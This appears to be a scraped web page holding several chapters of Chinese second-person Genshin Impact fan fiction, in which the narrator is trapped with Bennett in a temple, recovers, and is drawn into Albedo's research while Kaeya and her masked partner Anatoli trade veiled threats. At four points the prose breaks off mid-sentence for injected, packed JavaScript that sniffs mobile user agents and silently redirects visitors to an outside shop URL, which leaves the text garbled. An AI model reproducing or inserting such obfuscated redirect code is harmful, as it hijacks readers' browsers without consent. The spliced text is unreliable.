阿贝多将这些资料一一复盘,随后凝视着画册里关于你的速写,有背影,有侧面,也有正面的……他的眼神微动,默默合上画册压进资料的最底下,随后看向营地的洞口—— 你背着手笑眯眯靠了过去,故作神秘:“阿贝多老师——” “怎么了吗?”他转过来面对你,依然是熟悉的笑容,目光扫视几圈,最后停留在你脸上。 “这个给你。”你把汲取了力量的龙牙放在他手心,“有可能你已经研究过了,但想了想还是觉得送这个好——总之,感谢你的帮助。” 掌心多了个温润的物件,他微微一愣,低头看去,那颗洁白如玉的龙牙正被微弱的红色能量萦绕着。 “这是……杜林的力量。”他的目光深邃,做了个深呼吸抬头看向你,“这枚龙牙……蕴含的力量充盈且稳定,是很好的素材——不必言谢,帮助你也是我的意愿。” “这份礼物,我会好好珍惜的。” 13. 第11章 从雪山到千风神殿 自那次雪山实验之后,你也逐渐回归日常生活,抑制剂有了起色,开始接一些高难度的委托。加上阿贝多在画技上的指导,你开始重拾一些技能,那不仅是元素造物,甚至可以称之为「概念」。 顾名思义,给准备释放的攻击附加一道概念的含义,重创敌人的时候挂debuff,或者给己方上buff……只不过这一类太费精神力了,不是面对死局还是不要用为妙,普通的委托能物理攻击就物理攻击,面对魔物倒是可以用一下元素造物。 “概念……”阿纳托利不知道在想什么,站在原地发呆。 远处窜来的箭矢他条件反射斩落,随后将短刀反手一扔——不远处的丘丘人射手被他一击爆头! 你清理掉最后一只魔物,合上卷轴看到他还站在原地,于是踱步过去,伸手在他面前晃了晃:“在想什么呢?” 他小幅度点了点头,后退一步看向你:“没事,委托完成了的话,我们就回去吧……” 你把疑惑吞回去,掂量着手中的素材举到他面前晃晃:“素材还没捡呢。” “嗯。” 回到城门前就暂时和他分开了,你提着一麻袋素材回去提交委托,在准备离开时有谁碰了碰你的翎羽—— “我就知道在这里能见到你,南柯小姐,这里有你的一封信。”凯亚出现在你身旁,晃了晃手中的信,“要不要猜猜是谁写给你的?” “我猜不出,所以是谁啊?”你直接放弃,毕竟确实没什么人会给你写信。 “别这么快就放弃啊……”他表情一怔,随即恢复正常,“要不要给你一点提示——那位红色的,很烫的……” “……”你盯着他手中的信件凑过去想看清,却被他挪远了,你满是无语的看向他,“能让你直接送过来的怕不是迪卢克吧?” “不愧是你。”他把信塞过来,“打开看看吧~” 你在猫尾酒馆附近的小桌椅坐下,拆开细读……你猛地回过头警惕:“你干嘛,偷看迪卢克给我的情书?” “怎么会……”凯亚被你突然间的回头激得身形一颤,后退一步举着双手以示清白,还准备往酒馆里走,“你慢慢看~” 确实是他的字迹,只是问了好,大致讲了一下他那边的情况,还感谢了你当初提供的情报,为表感谢帮你清理了大量的悬赏令……所幸关于你的悬赏令没有大规模流出至冬。 你是没想到自己提供的对他来讲这么有用,你生怕引发蝴蝶效应,只是说了执行官基本的情况,更具体的就不说了。 “怎么?真是情书?”凯亚将一杯冰钩钩果汁放在你面前,他自己端着葡萄酒坐到对面,低垂着脑袋盯着酒杯,语气还特别委屈,“唉……没想到啊,几年不见,我亲爱的兄长居然悄悄有了个这么可爱的笔友,连我这个弟弟都被蒙在鼓里……真是令人心碎。” “怎么可能,我刚才开玩笑的,他怎么可能会写这东西。”你听到他的话扯了扯嘴角,收好信件,默默端起杯子喝着。 “什么——开玩笑的?!”他眼睛微微睁大,往后一靠,曲起指节轻叩桌面,笑容里带着一丝玩味,目光依旧紧锁着你,“还以为那榆木脑袋开了花,那我岂不是……还有机会咯?” “咳咳咳……哈?!”你险些呛到,在那里狂咳不止。 他收回视线轻笑出声,端起酒杯浅浅品尝,很快又收敛起来:“抱歉抱歉,我也是开玩笑的,别激动——他到底跟你说了些什么?” 等你缓过来狠狠瞪了他一眼,没声好气道:“没什么,只是说了他最近的见闻。” “嗯……这样啊,诶,既然他都这么关心你了,需不需要告诉你一些他的独家情报?比如他最讨厌的酒?最喜欢的食物?或者……” “不,不需要。”你把剩下的饮品一口喝完,准备离开——可恶,他怎么就瞅着你的玩笑不放了,以他性子,到时候迪卢克回来肯定会知道的! “诶——等等,我这里还有个委托推荐给你,要不……”话音未落,他刚拿出来的委托单就被你抽走了,望着有几分落荒而逃的背影,他耸耸肩,“哎呀……就这么着急?” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 做委托的当天,中午 你抬头望着天花板的爬山虎,仔细看的话叶间似乎窜过一条很小的壁虎——“唉……” 凯亚给你的委托是帮一个人找东西,根据线索你来到千风神殿,也顺利找到丢失的镯子,但是……你被困在地下通道里了! “抱歉,肯定是我的厄运连累你了……” 你转头看到一旁的白发碧眼的男孩,他满脸歉意再次向你道歉。 “班尼特,不用道歉了,这不是你的问题,我们还是想办法出去吧。”你隔着铁门眼巴巴望着外面的卷轴——没错!不仅被困在地下通道,卷轴还遗失在外面,糟糕,偶遇最强厄运,拼尽全力无法战胜! “也对,我们出发吧!” 在原地干等是没有进展的,好运不会找上门,厄运也不会停止。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088067|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且,按理来说班尼特可以算作经验丰富的前辈!有老婆……咳,有他在,这场冒险不会或许单调。 …… 半个小时后,你们又回到起点。 “蒙德也有鬼打墙?”你看着熟悉的铁门,外面熟悉景色,就连卷轴也依旧躺在原地。 「鬼打墙没有,但你们触发的机关倒是存在。」祂悠悠扔出一个假设。 原来有机关?是因为无意间触发然后又引导你们回来了? “班尼特,你还记得你碰到过什么不一样的地方吗?”你左摸摸右掏掏,结果只有一颗糖,于是直接给了他,“这个给你。” “哦,谢谢。”他犹豫了一下,还是接过了,“让我回忆一下……” 你们回忆了一下当初的异常,然后再次进了深处,不出意料,又回来啦! 不过,这次你们可是画下了路上所有,疑似能无意间触发机关。 “哇……还是你想得周到!” “哼哼……洒洒水了——我们先休息一下再试几次吧。” 于是乎,一次、两次、三次…… “小小机关还敢拦我?”硬了,拳头硬了!看来你必须认真起来了,不就一个密室逃脱嘛,之前的碰壁你都要背下所有步骤了。 “再来一次!”休息过后,你们再次一头扎进这迷宫里。 和班尼特一起行动,只要选择和他反着的来就好了——在全新的,没见过的道路或者机关面前,先让他第一感觉去做选择,你再合理插手,把他拉到另一个选项上。 班尼特有些不明所以盯着你,虽说是初次见面,但为什么听闻自己的厄运,又经历了刚才的倒霉事件后还对他保持如此的淡定,甚至还利用起他的厄运。 或许以后可以试着组队……他猛地摇头,将这不切实际的想法抛出去,这才第一次见面,说不定是你还没真正了解他的厄运才这样,而且,那太失礼了。 顺利避开所有潜藏的机关后,你们停在一处U型拐弯处,或许是冒险家的直觉,你们不约而同停下脚步去观察。 “咦?上一次没见过这个砖块?要按一下吗?”班尼特指着墙上突兀的砖块,上面似乎还有花纹,但你看不出具体是什么。 “嗯……”你摸着下巴,之前有吗? 「没有吧……看来是因为之前没有触发任何机关,它才会显现,试一下也无伤大雅……」 只可惜话音未落,一只壁虎慢慢悠悠爬过那个机关,然后你们只觉得脚下一空—— 14. 第12章 意外之物 面前的景象瞬间切换成意识海的漆黑宇宙,你还保持着跌落的姿势,茫然伸手在虚空中抓了抓。 「不用多想,你只是摔下楼梯磕到头晕过去了,那一下连我都觉得好痛……」 祂逐渐出现在你面前,还煞有介事捂着脑袋嗷嗷皱着脸:「这就是绝对不可避免的厄运吗?」 “不对,那你拉我进来干嘛?”你恢复正常姿势,双手交叠在胸前,默默看向面前红黑色的身影。 「你难道不想听听我的看法吗?」祂自顾自拉出千风神殿的立体投影,点出你们目前所在的位置。 你已经对祂的行为见怪不怪了——结论就是,想要离开的话很简单,一是保存体力等待救援;二是寻找出口,就是班尼特的厄运是最大的变数。 随后你就沉入真正的睡眠,醒来的时候是被后脑勺的异样而疼醒的——好痛!谁给你的脑袋来了一锤?! “诶诶诶!你醒了,怎么样?还好吗?还认得我吗?”班尼特见你苏醒,肉眼可见开心起来。 虽然还是感觉头晕晕的,好在伤口并不严重,紧急包扎之后不影响行动——这里是连你都未曾踏入的区域,千风神殿的地下区域,还是隐藏款,这算不算开到宝了? 大概是没什么人进来过,环形的走廊与房间整体保存完好,大部分收纳容器还是在时间的作用下消磨殆尽,只剩一些叫不出的物品,似乎可以带回去倒卖。 不过……很多损毁严重一碰就化为齑粉了。 这,这算什么? 还以为真的能找到宝藏,结果里面什么都没有吗? 你和班尼特一起寻找,出口也好,宝藏也罢,总不能坐以待毙,至于原路返回……那个洞口早就合上了,这回你们是真的出不去了! 你发现了一个严重发锈的怀表,尽管已经是这副模样了,背后的花纹也模糊不清——但或许可以卖个好价钱! 「你眼里如今只剩下摩拉了吗?」祂还是忍不住说话了,「要不要再仔细感受一下——对哦,卷轴都丢了,啧……」 “难道这东西是什么风神赐福过的东西吗?那岂不更好卖?”你继续翻找。 「唉,总之回去后用卷轴探查一下吧。」祂重重叹了口气。 “既然你都这么说了,回去再说吧。” 暂时没发现其他出口,而且这里无法直接观察到此刻的时间,但身体上的疲惫与饥饿提醒着你们时间已经过去很久了,该休息了。 本来你就只是找到镯子就可以回去的了,准备的物品并不丰富,班尼特倒是装备齐全,勉强度过这一晚还是可以的。 但,祈祷能有人能发现你们失踪吧…… ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 好消息,半夜你们得救了,坏消息……你吃班尼特的食物吃坏了肚子。 你被谁紧紧抱在怀里,鼻尖萦绕的冰雪气息令你有些安心,实在没精力去查看情况了,隐约间还有一个深蓝色的影子在模糊的视野内。 “……托利……谢,一起……顾虑……?”凯亚的声音传到你耳边时只剩下断断续续的音节,听起来笑里藏刀的。 迷糊许久,你总感觉有杂音干扰睡眠,中途又有谁握着你的手在治疗。 “诶?我的治愈术为什么……?只能这样了吗?别怕别怕,忍一下就好了。” 药瓶开盖的声音、绷带拉扯的动静、以及浓郁的碘伏味和各种的草药味……这种气息安心的同时又感觉很不妙,有种想逃离的冲动——打屁股针的什么不要啊—— 昏沉的大脑经不起你胡思乱想,无法动弹,胃部也传来艰难的蠕动,你很快彻底昏睡过去…… 等再次苏醒已经是第二天早上了,感觉哪哪都不适,干涸、无力、恍惚,而床边趴着的白毛面具男也瞬间被你的动作惊醒,他直起身望向你,面具上的灯带条像是在开机那样逐渐亮起。 “你醒了?怎么样?”他握了握你的手,凑近了点想看清什么。 “我……有点头痛。”你下意识想摸后脑勺,却被他轻轻制止了。 “别乱碰,这里受伤了。”他的头发有些凌乱,毛糙得像一只没梳毛的大型犬,“芭芭拉说你要静养。” 你这才想起来昨天你的头被磕到了,怪不得你现在脑袋还特别昏胀,你坐起来靠着床头缓了一会儿,环顾四周:“哦……这里是教堂里?” “嗯,昨晚……我和凯亚他们发现了你们。”他细细打量你,随后用手背探了探你的额头,仔细感受过没有异常后才放下。 “然后你又守了一夜?” 以前在至冬也差不多这样,只要你出了什么事,都会一整晚待在你身边,怎么劝都劝不动,你放弃了,由他了。 “昨晚情况不太好,我不放心……”他顿了顿,看向你的时候语气也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088068|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈起来,“下次不要随便吃陌生人的食物。” “哎呀,情况紧急啊,我也没想到会这样。”你看向别处,忽然想起什么,摸了摸自己的口袋,“对了,我的卷轴,还有委托物品……哦,还有那个怀表呢?” “放心,都在。”他将床头柜的一个包递给你,“我检查过了,没有损坏。” 你把卷轴展开到一半忽然被他制止,你抬起头迎上他凑过来的面具,红光刺得眼生疼。 “需要做什么?很急么?”他一手按着卷轴一手拿过那个怀表,微微发力,轻松把两样东西收走,“你刚醒,身体还没恢复,再加上头部的伤,最好还是不要随便动用卷轴。” “没……”你讪笑,“就亲眼见过才安心。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 之后大概静养了几天,芭芭拉给你再次检查的时候,凯亚和可莉也来了,祈礼牧师叮嘱完之后又看了你一眼,微笑着退出了房间。 “南柯姐姐,这是四叶草小嘟嘟可……唔,可莉,可莉送给你,有它的陪伴,这样就不会难受啦!”她把一个□□造型的小玩偶塞进你手中,对你扬起一个笑脸——啊!她居然在发光!你心脏有些承受不住! “谢谢可莉。”你十分感动的揉了揉她的脑袋,“现在好多了,果然是因为小可莉来看我了,现在一点都不疼~” “嘿嘿……” 凯亚在一侧附身凑近了点打量:“嗯,看起来比上次被某个冰块脸抱回来时好多了。” “凯亚,谢谢你,对了,班尼特他怎么样了?” “他啊,你知道的,厄运伴身却一次次挺了过去,自然是好得很——对了,这是他给你的赔礼,听说你也是冒险家协会的一员后,他准备了常用的跌打损伤药品。”他放下一个盒子,随后视线落在对面床沿的阿纳托利,“倒是你这位搭档……啧啧,守了一整夜?这份责任心,连我这个委托人都自愧不如啊,看来把你托付给他……确实让人放心呢。” “嗯?面具哥哥要好好休息啦,不然姐姐会担心的。”可莉看向他,随后双手叉腰,像个小大人特别严肃的教训。 “嗯……”他瞥了眼凯亚,随后面向可莉,声音放平缓了些,“职责所在。” “哦,是吗?那这份职责履行得可真是……无微不至啊。”凯亚挑了挑眉。 你总感觉嗅到了火药味是怎么回事? 15. 第13章 探病与日常 阿纳托利微微摆头,这里是教堂,一个病人一个小孩,外面还有不少的牧师与一个这样的公众场所,对方说着看似赞赏的话,却像是莫名在试探什么。 既然如此,全部接纳就好,任何其他言语行为都会被解读,会令他在蒙德寸步难行的。 简单的探病在略微古怪的氛围里结束,凯亚见好就收,很快就以你需要休息为由,带着可莉先行道别,等他们走之后,阿纳托利再次叮嘱了一番,便让你留在房间继续休养了。 后脑勺磕碰加腹泻,你几乎是躺了一周多才恢复正常,都快和芭芭拉认识了,偶尔还会瞥见罗莎莉亚从外面经过……果然是因为魔神残渣的气息吧。 期间阿纳托利偶尔来照顾,更多时候是放下生活用品简单交代几句就离开了,可莉也时不时一个人溜过来找你玩,给你介绍新的蹦蹦……然后被琴拽住命运的后脖颈拎走。 班尼特也来过一次,给你正式道歉的同时还分享了最近的见闻……其实完全不用道歉的,那离谱的运气确实让人苦恼,但……你们发现了隐藏区域,还获得了一定的宝藏,最重要的是,那个怀表看着就不简单!冒险往往伴随着危险,如果只是这点程度,这分明是赚了! 之前的镯子也直接交给凯亚算是完成了,就是……你总觉得他和你搭档之间是不是在你不知道的时候发生了矛盾? 在即将痊愈的时候阿贝多居然来了,你还以为他会在雪山里泡得更久。 他简单检查你的身体后又问了很多问题,除了基本的询问,还有关于体内的祂是否有被影响之类的——好家伙,敢情是生怕祂出现的吗?! “好。”他合上笔记本放在一边,目光在你身上转了几圈,试探性问道,“可以让我看看你受伤的位置吗?” 你点了点头,在床上换了个姿势,盘着腿背对他——其实那个伤口并不是很严重,已经结痂愈合了。 他脱下自己的手套扶住你的脑袋,神情专注,慢慢摸索着,很快就找到结痂处,动作一下子就轻柔起来:“能讲讲当时是怎么回事吗?” 当时,当时啊……你慢慢回忆起来,将来龙去脉,所有细节全部告知了:“……总之差不多是这样,不过咱们还是找到了一些能换摩拉的东西……还有……” 他看着你慢慢讲述,目光偶尔落在你头顶的翎羽,翘起来又收回去,看起来是真的很开心呢……他的手也没有收回,只是轻轻抚着结痂处,然后忽然向上移,将那根翎羽夹在指缝间拨弄。 指尖传来羽毛特有的细腻与柔软,他下意识屏住呼吸,一动不动观察着。 你叨叨絮絮把经历讲完,这才发觉他在玩你的羽毛,有些无奈:“好玩吗?” “……”阿贝多的手指停顿了一下,短暂阖眼恢复正常。 “失礼了。”他不动声色收回手,正色道,“只是有些好奇,这种独特的生理特征,刚好能显示你当下的情绪波动,不同的情绪,羽毛的状态也不一样——而触碰是最直接的确认方式。” 你转回来面向他,有些不明所以。 “你刚刚说在千风神殿的隐藏区域找到了一只奇怪的怀表,不是说要给我看看吗?”他慢条斯理戴回手套,随后看着你。 “噢,在这里。”你把之前好不容易软磨硬泡从阿纳托利要回来的怀表递过去,“既然是那里,我想这个说不定和风神有关——拜托阿贝多老师了!” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 时间一天天过去。 这天,你将一箱新鲜的薄荷送到天使的馈赠,隔着门就听见熟悉到竖琴声,轻快、悠扬,你从后门探进半个身子进入——哦!是绿色的吟游诗人在吧台演奏呢,而且也拜他所赐,今天的客人异常的多,围得里三层外三层的。 “这是前段时间出现在蒙德城的吟游诗人,明明还未成年却坚持要买酒,但这里有规定啊……”查尔斯看出你的疑惑,补充了一句,“不过他的演奏反而吸引了不少顾客,也随他去了。” 嗯,很有他的风格。你默默点头,倚在门框上听着,这个调调好熟悉,是哪里来着?游戏里的登录界面? “想继续听下去的话……用一杯苹果酿来换吧?”温迪坐在那里,音律随着指尖的拨弄缓慢泄露,狡黠一笑。 你看到了堪比追星现场的氛围,好多人把一杯又一杯的酒往他身边送,透过攒动的人群,莫名的,似乎谁有谁在看你,等去仔细查看时却没有任何可疑的地方——那种感觉转瞬即逝,再也捕捉不到了。 祂也没什么表态,大概是你自己多心了吧……你拍拍脸,摇了摇头离开了这里。 你再次来到炼金工坊,这次多了个意外的人,你不自觉勾了勾嘴角:“阿纳托利,药水有进展了了?” “嗯。”那个站在桌边的身体微微一僵,随后他放下手中的眼药水转过身,只可惜依然戴着那副面具,“能被你信任的人,那必定有他的道理。” “南柯,你也来了,也省得我过去了。”阿贝多从另一边的柜子后起身,将一个精致的怀表递过来,“已经处理过了,似乎还可以用。” 你看着面前有些眼熟却分外精致的怀表,又看了看他——别跟你说这玩意,和之前锈得不成样的东西是同一个。 “怎么,不认得它了?”他翻了个面展示背后模糊的花纹,“我用了一些小手段适当修理了一下,发现它身上确实携带了很浓蕴的风元素——和你猜的一样,大概是受风神赐福过的东西。” 阿纳托利也凑了过来,似乎有些好奇。 “不是…阿贝多老师居然会修古董?”你接过来上下翻看,“不过,除了被赐福过,就没有别的发现了吗?” “除此之外还有一丝特别微弱的能量波动,只可惜目前还无法确定……”阿贝多托着下巴来到一旁的资料面前,低头思考着什么,“不介意的话话,再让我进入你的意识海里吧。” 你听到一旁极其微弱的“咔哒”声,只见阿纳托利的手搭在腰间的刀柄处,那略微颤抖的手明显是在抑制自己的冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088069|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 不是吧搭档,敌意这么大? “因为怀表上另一个的能量波动,似乎和你体内的那一位有些相似,而且大半年过去了,我需要再确认你的意识海是否有变化——不会有危险的。”阿贝多平静地说着,目光却落在阿纳托利身上,脸上依旧带着淡淡的笑意。 阿纳托利最终垂下双手,然后拿起那瓶眼药水走到门口处,侧过头对你说道:“我等你。” 风铃晃了又晃,归于平静。 阿纳托利快步离开了工坊,拐入小巷后才逐渐放慢步伐——最近似乎有些冲动了,是因为上次最深层的秘密被突然揭开了吗? 他来到墙边倚着,揉着眉心叹气,又拿出那瓶眼药水端详起来。 一阵有规律的脚步声令他警惕起来,默不作声收起瓶子,微微绷直了身体抬头看过去—— “哟,这可真是稀客啊。居然能在阿贝多老师的工坊外面看到你?” 凯亚晃悠着踱步靠近, “怎么,里面的空气太学术了,出来透透气?” “……与你无关。” 他向前一步,压低声音,笑容染上几分寒意:“别这么冷淡嘛,我只是关心一下南柯小姐的身心健康,毕竟……就算掩饰得再怎么完美,总会有被发现的一天。” “……所以,你想说什么。”阿纳托利皱了皱眉,红光压暗了些。 凯亚依旧笑着,目光却愈发深邃起来:“社报、书店、酒馆……这位先生的工作还挺…多样的,不过,我的立场也没有资格置喙一个愚人众的职责,但作为骑士团的一员,我有句忠告…… “无论你们愚人众最终的目的是什么,但请不要忘记,这里,是蒙德。” 这种彼此都知道的事实,凯亚如此当面强调,是哪里疏漏了吗,像他这一类高机动性的棋子在真正的任务来临之前,一直在处理其他类型的琐事,传递消息也好,搜集线索也罢,更多的是关于组织内部的事务。 非要说让对方值得关注的,无非是涉及到两国之间的利益,最近城里的愚人众都在搜集有关风神的事,他并没有直接参与,而是,传递…… 凯亚这家伙要……确认? 他深吸一口气,面具上的红光几近熄灭:“感谢凯亚先生的忠告,同样的,我也给你一句忠告。” “嚯……” 凯亚稍微调整了一下站姿,“洗耳恭听。” “凯亚,你离她远点。” “?”凯亚有些遗憾似的微微摇头,“好吧,这句忠告我收下了,只不过,还以为你会给出更……官方的说辞。” “对我来说,这样的就已经很官方了。” 蓝孔雀闭眼叹气摊手耸肩,恢复以往随意的姿态,看来,无论何种语言都激不起他想要的效果,那次探望也是……对方都不接招,他也没撤。 不过,官方的说辞……他已经可以确定是什么了,尽管具体的仍是未知,但可以肯定的是,那人的价值,已经重要到不仅是他兄长的协助,更是愚人众内部高层的……觊觎。 16. 第14章 雏鸟情结 “嗯……他可能有些心情不太好,不要太在意。”你目送阿纳托利离开工坊,然后转过身。 “心情么……药水的效果可能没法彻底根除,需要长时间使用才能达到缓解的效果,放心,他的症状会好起来的。”阿贝多走近你,直接按住你的肩膀转过去推着走。 但毕竟是搭档,相处这么久还是会担心一下,不过……既然是阿贝多制作的药剂,那应该可以放心了。 又是熟悉的房间和香薰,但多了一张圆形的桌子,你环绕了一圈,自己找了个位置坐,看着他倒了两杯茶,将其中一杯放到你这边的桌面上。 “不过在那之前,我有两件事必须告诉你。”他坐在对面,那双极其漂亮的双眼直视着你,“第一件是……上次我说没见到祂——对不起,那时候说谎了。” 嗯……嗯?这么郑重?你端茶杯的手一顿,最终还是默默抿了一口。 “我不仅见到了祂,也得知了祂带来最本质的的危机。” “危机是指祂正在遏制的「吞噬」?”你继续默默喝着茶。 “你知道它……很好。”他久久望着你的表情,最终松了口气,低垂的眼睫毛掩盖了所有的情绪,“看样子你对自己的情况还是有一定的了解…所以,第二件事是……” 你放下茶杯,盯着里面旋转的花瓣,不由得认真起来:“阿贝多老师请说。” “我们的委托内容需要从头开始了。” 啊? 你抬起头看向他发出无声的疑问。 “因为最开始,我只是按照普通药理学去制作抑制剂的,但雪山那些天,发现有很多地方不能直接运用现有的。” 你摩挲着茶杯把柄,一时间不知道说啥,因为异世界的人要用异世界的方法吗? “首先,你本身就是一个特例,一个不受提瓦特法则影响的存在,魔神残渣没有对你造成显著的影响,对元素力存在天然的亲和力,或者说——这种被稀释的力量对你无效。”他不知从哪掏出来一个本子,排开一直以来记录成册的数据资料,指节轻点着上面的记录。 你低头看过去,一列列公式图表文字看得你头大——是该死的无法理解之事物! “你说醒来之后体内就有魔神残渣,想来,你丢失了之前的记忆,对吗。” 平静地把疑问用陈述句表达出来了,你感觉自己里里外外都是透明的,在他眼下无所遁形。 他那蓝绿色的眸子深处只剩冷静,不知为何,你没敢抬头:“大概吧,我也不确定,只是觉得有些地方不对劲。” 他微眯着眼,沉默片刻再次开口:“嗯……我明白了。” “然后呢?”你下意识来了一句,又急忙顿住,端起茶杯就喝。 “呵……”他瞥了眼你那杯快要见底的杯子,又盯着自己一口没动过的茶,茶水深处,有一道极为暗淡的且未完成的微型术式,“关于委托的内容,我有个提议——在原本的基础上多加一条…探寻真相,同时委托性质变更为长期合作,当然,你可以随时喊停。我给你提供抑制剂,而你,需要参与我的项目里来。” 他口中的真相是指——其最原始的本质、起点、源头,当初究竟发生了什么,让你与丹特利安共生,还有卷轴的本质、魔神丹特利安的目的,以及……「博士」的真正目的。 “具体的细节内容我之后再给你,但在那之前,我们先进行今日份的——第二次深入你的意识海。”他慢条斯理将资料收好放在一边,“这份记录,如果你想看,可以随时找我。” “突然间……好宏大。”你将空了的茶杯摆放在碟子上,虽然他说了这么多,但你真正想要的并没有和他一样的深刻——你不过是一介过客,丹特利安也好,博士也罢,这些切实发生在你身上的事,对你来说,或许有点重要,但那是过往。 你确实有那么一点点感兴趣,但也仅仅是想阅读一下那些未解锁的故事,看完之后,你依旧会遵循自己想要的方向。 “有这个感想是很正常的,但你不必独自背负它全部的重量。”他点点头,端起杯子抿了一口,“也不用担心支付报酬问题,这种级别的……委托,对我来说,只有你是最可贵样本。” 怎么感觉他把你的想法都参透了呢……你继续保持沉默,诚然,抑制剂是最主要的,他想要探索的动机又是什么? 这对你或许有些益处,毕竟魔神残渣就在自己体内,能深入了解并掌握的话确实可以作为一种保命手段,毕竟在这提瓦特大陆上,没点本事还真没法像旅行者一样到处跑。 但你好像没得选,就像病症患者没有药就活不下去,深入合作应该没关系的。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 所以,现在是个什么情况? 他和你再次进行意识海链接,坐在沙发上握着他的手,你再次低头看了看十指相扣的手。 “一定要这样吗???” 阿贝多还轻轻晃了晃你的手,对你笑笑:“这是为了更好深度链接——现在,请闭上眼……” 像是迅速沉入深水区,对外界的感知瞬间抽离……感觉,被祂拉进去的感觉并不同,一个自然沉睡切换场景,一个拉着你沉浸下去…… 又是那个熟悉的空间,以及熟悉的人影,祂看起来有些生气……? 「你们是把这里当成度假区来去自如吗?」 虽然看不到祂的眼睛,却感觉有很强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088070|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线死死盯在你们握住的手上,你下意识想抽回手,却被阿贝多一把拉住! “抱歉,我们只是为了深入观察一下,方便后续的研究——想必你也是这么想,对吧。” 「……随你。」许久,祂才吐出这两个字,随后隐去身形。 “看来祂并不想和我交流。”他四处看了看,最终视线落在你脸上,“走吧,上次进来太仓促了,都没来得及好好观察。” “不过到了这里也要这样吗?”你试了几次,他依旧稳稳握住,丝毫没有要放开的意思。 “上次……”他回想起那次的情景,进来后旁边的人就不见了……随后摇了摇头,语气笃定,“嗯,就是为了稳定链接而已。” 深邃无垠的意识海深处有一颗微光,似乎是存放记忆的位置,看着不远,但你们却始终没能接近。之后又试了几次,他发现只有你一个人可以靠近,是因为潜意识的拒绝还是丹特利安刻意的阻挠,亦或者意识海有自己的规则——天然拒绝任何外来者。 “起码我们知道了一些猜想,下次,或许需要你的帮助了,说服祂,从祂口中得知线索。”他若有所思摸着下巴。 「想从我这里知道?别白费心思了,我不记得以前的记忆了。」祂的声音突兀从四周响起,带着一丝无可奈何。 “真的?”他惊讶一瞬,然后转向你询问,“祂说的是真的?” “对,祂一开始确实这么对我说过,大概是雏鸟情结?”你点点头,“甚至直到现在都在用我的形象。” “雏鸟情结……我似乎明白了什么。” 「人类可真会想象……就不怕我是在骗你们的?」 “我们的确没法知道你的真实意图,但如果你真的想替代她,一开始就不会这么说,更不会透露吞噬的真相。” 祂罕见的沉默起来,随即低笑起来,明明没有现身,整个意识海似乎荡过微弱的涟漪,很快,你们整个意识突然像是被无形的大手一个弹指,陷入死寂般的昏睡…… 「我就说炼金术士太过于机敏了,不过,这不正好?」 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 阿贝多不知道昏睡了多久才苏醒,整个人像是被扔进浆糊里思维迟钝,他缓了好久才回过神,一旁靠着自己的少女同样和自己一样沉睡着。 他动了动交叠的手指,一点一点缓慢挪出来,摊开掌心。 他记得……之前在意识海里做什么来着?去仔细观察了意识海的基本形态,还有那个他无法靠近的记忆存放点,但究竟是因为什么而沉睡的? 他随意抬头,目光流连在房间内,落到他那杯只动了一口的茶杯上,茶水里头在散发着暗淡的微光…… 17. 第15章 诗歌的灵感 怀表的研究被暂时搁置了,你看阿贝多的状态不是很好,整个人特别疲惫,你倒是没什么异样。 看来进意识海对身体伤害很大的样子,不过这也不能排除祂做了什么——做了什么? 完蛋,只记得祂把你们撵出去,为什么突然赶你们……是因为什么来着? 你想破脑袋都回想不起来关键的一点。 你出了工坊才意识到已经很晚了,人来人往的,灯光略微有些刺眼。你揉了揉双眼张望四周——你记得阿纳托利说会等,但也没说在哪等,这么久怕不是回去了。 于是你买了点吃的,在住所的楼下却发现意想不到的身影——那人倚在树下,白色的发丝被微风吹动,面具上红色灯带条此刻有些暗淡。由于那一身墨色的服饰,不仔细看的话确实会忽略。 